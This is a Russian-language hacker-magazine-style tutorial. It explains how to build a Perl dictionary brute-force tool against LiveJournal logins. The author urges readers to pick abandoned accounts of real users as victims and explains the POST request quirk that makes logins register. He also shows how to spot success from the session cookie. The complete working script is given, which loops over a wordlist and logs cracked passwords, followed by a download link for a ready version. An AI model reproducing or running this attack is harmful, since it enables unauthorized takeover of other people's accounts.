Всем известно, как в последнее время стал
популярен ресурс livejournal.com или попросту ЖЖ.
Сделать аккаунт в этой системе далеко не
просто. Нужно либо заплатить за ключ, либо
попросить его у знакомых ЖЖистов.
Существует известная пословица: чем
просить и унижаться, лучше <вырезано
цензурой> и молчать :). Поэтому, сегодня мы
будем писать брутфорс, который с легкой
руки поломает ЖЖ какого-нибудь американца
лабуха :). Разумеется, ты должен выбирать
жертву, которая кинула пару сообщений после
регистрации, а потом как в воду канула, то
есть попросту забила на livejournal. Таких
аккаунтов полно и их можно узнать без
проблем.
Итак, вернемся к нашей задумке. Вначале нам
нужно узнать, как осуществляется логин в
систему. Зайдя на www.livejournal.com/login.bml мы увидим
в правом верхнем углу маленькую форму для
логина. Нет, я сужу не про большую в середине
экрана. После просмотра html-кода я выбрал
маленькую. Дело в том, что в этой форме всего
два параметра, в отличии от полноценной. Наш
будущий брутфорс должен передавать минимум
данных для высокого КПД, поэтому
остановимся на этой формочке.
Форма имеет два параметра: user и password. Сам
скрипт может получить необязательный
параметр mode, значение которого равно "login".
Видимо, при передаче user и password система
подразумевает авторизацию. Нетерпеливо
вбив в броузере ссылку http://www.livejournal.com/login.bml?user=fuck&password=fucked
(естественно, все имена изменены в целях
конспирации :)), я получил от ворот поворот.
Система была рассчитана только на POST-метод.
Но я человек упорный и не устоял даже перед
этой защитой :].
Следующим шагом было восстановления памяти
на предмет работы POST-метода. Для него
актуальна передача следующих обязательных
параметров на сервер:
POST
Host
Content-Length
собственно пост 🙂
Примерно набросав в текстовике запрос на
сервер, я получил следующее:
POST /login.bml HTTP/1.1
Host: www.livejournal.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
user=fuck&password=fucked
Как ни странно, оно не работало :). Система
ругалась на неверный пароль. Я подумал, мол
существует проверка на Referer и UserAgent, но ошибся.
При подстановке поддельных параметров
сервер также выдавал ответ - Password Incorrect. Как
оказалось, если поставить после пароля
символ & и увеличить длину строки на
единичку, то сервер успешно кушал данные и
возвращал Loginned.
Мне очень не хотелось выкачивать всю
длинную ХТМЛину и вырезать из нее строку
Loginned. Я хотел ограничиться скромным recv на
один килобайт данных :). Это было возможным,
так как сервер проставлял кукизы в header-строках.
В этих куках при удачном ответе содержалось
имя пользователя и зашифрованный пароль,
примерно в таком формате:
Set-Cookie: ljsession=ws:fuck:1:fDjwfWdsC; path=/; HttpOnly
Ничто не мешало проверить, есть ли в header'е
имя пользователя и если есть - прекращать
брутфорсинг и писать в лог аккаунт.
В теории брутфорс был написан. Осталось
реализовать это дело на практике. Я
использовал Perl для кодинга, ибо знаю этот
язык уже третий год и он идеально подходил
для моих задумок. Поискав у себя на винте
шаблон брута, я нашел MIME-брутфорс для httpd-аккаунтов,
который как-то описывал на этом сайте :).
Немного изменив его, я получил полноценный
ЖЖ-брутфорс. Единственным его минусом
является однопотоковость, но для такого
крутого кодера как ты, я считаю это не будет
большой проблемой :). Тебе остается
реализовать многопотоковость, либо
пользоваться моей демо-версией ;).
Итак, собственно код:
#!/usr/bin/perl
use IO::Socket; ## Юзаем сокеты
$|++; ## Инкременируем
буферайз
$server="www.livejournal.com"; ## Задаем
сервер
$port="80"; ## А также
порт 🙂
$logfile="cracked.log"; ## Сюда
пишем взломанный аккаунт
$words="bigdict.txt"; ## Наш
большой словарик, по которому ведется
брутфорс
$user="fuck"; ## Юзер,
которого ломаем
$dir="/login.bml"; ## Скрипт,
который возвращает статус
open(file, "$words") or die print "$!\n";
@data=<file>;
$total=@data;
close file; ## Откроем
словарь, запишем все слова в массив
foreach $pass (@data) { ## Цикл по
каждому слову
$i++;
chomp($pass);
$socket=IO::Socket::INET->new(PeerAddr => $server,
PeerPort => $port,
Proto => tcp)
or die print "Unable to connect to $server:$port\n"; ##
Создаем соединение с livejournal.com
$socket->autoflush(1); ##
Отрубаем буферизацию (на всякий случай, т.к.
по дефолту она вырублена)
$post="user=$user&password=$pass&"; ##
Формируем POST-запрос
$len=length($post);
$len+=1; ## Находим длину
запроса (фраза + \r\n)
print $socket "POST $dir HTTP/1.1\r\n";
print $socket "Host: www.livejournal.com\r\n";;
print $socket "Content-Type: application/x-www-form-urlencoded\r\n";
print $socket "Connection: Close\r\n";
print $socket "Content-Length: $len\r\n";
print $socket "\r\n$post\r\n";
## Отправим в сокет
длинный header
$socket->recv($answer,1024); ## И
прочитаем возврат = 1 кб данных
if ($answer=~/\:$user\:/) {
open(logf, ">>$logfile") or die print "$!\n";
print logf "$user:$pass is OK!!!\n";
close logf;
print "$user:$pass is OK!!!\n";
exit 0; ## Если он содержит
строку вида :user: - пишем лог и завершаем брут.
} ## Иначе, проверяем
следующий пароль
}
Вот собственно и весь брутфорс. Проверен
лично мной - работает на ура :). Но аккаунтов
для проверки я тебе не дам - я жадный ;), тести
на своих. Как видишь все просто осуществить,
если только захотеть.
Рабочую версию брутера ты можешь скачать по
ссылке http://kamensk.net.ru/forb/1/x/brut-lj.tar.gz.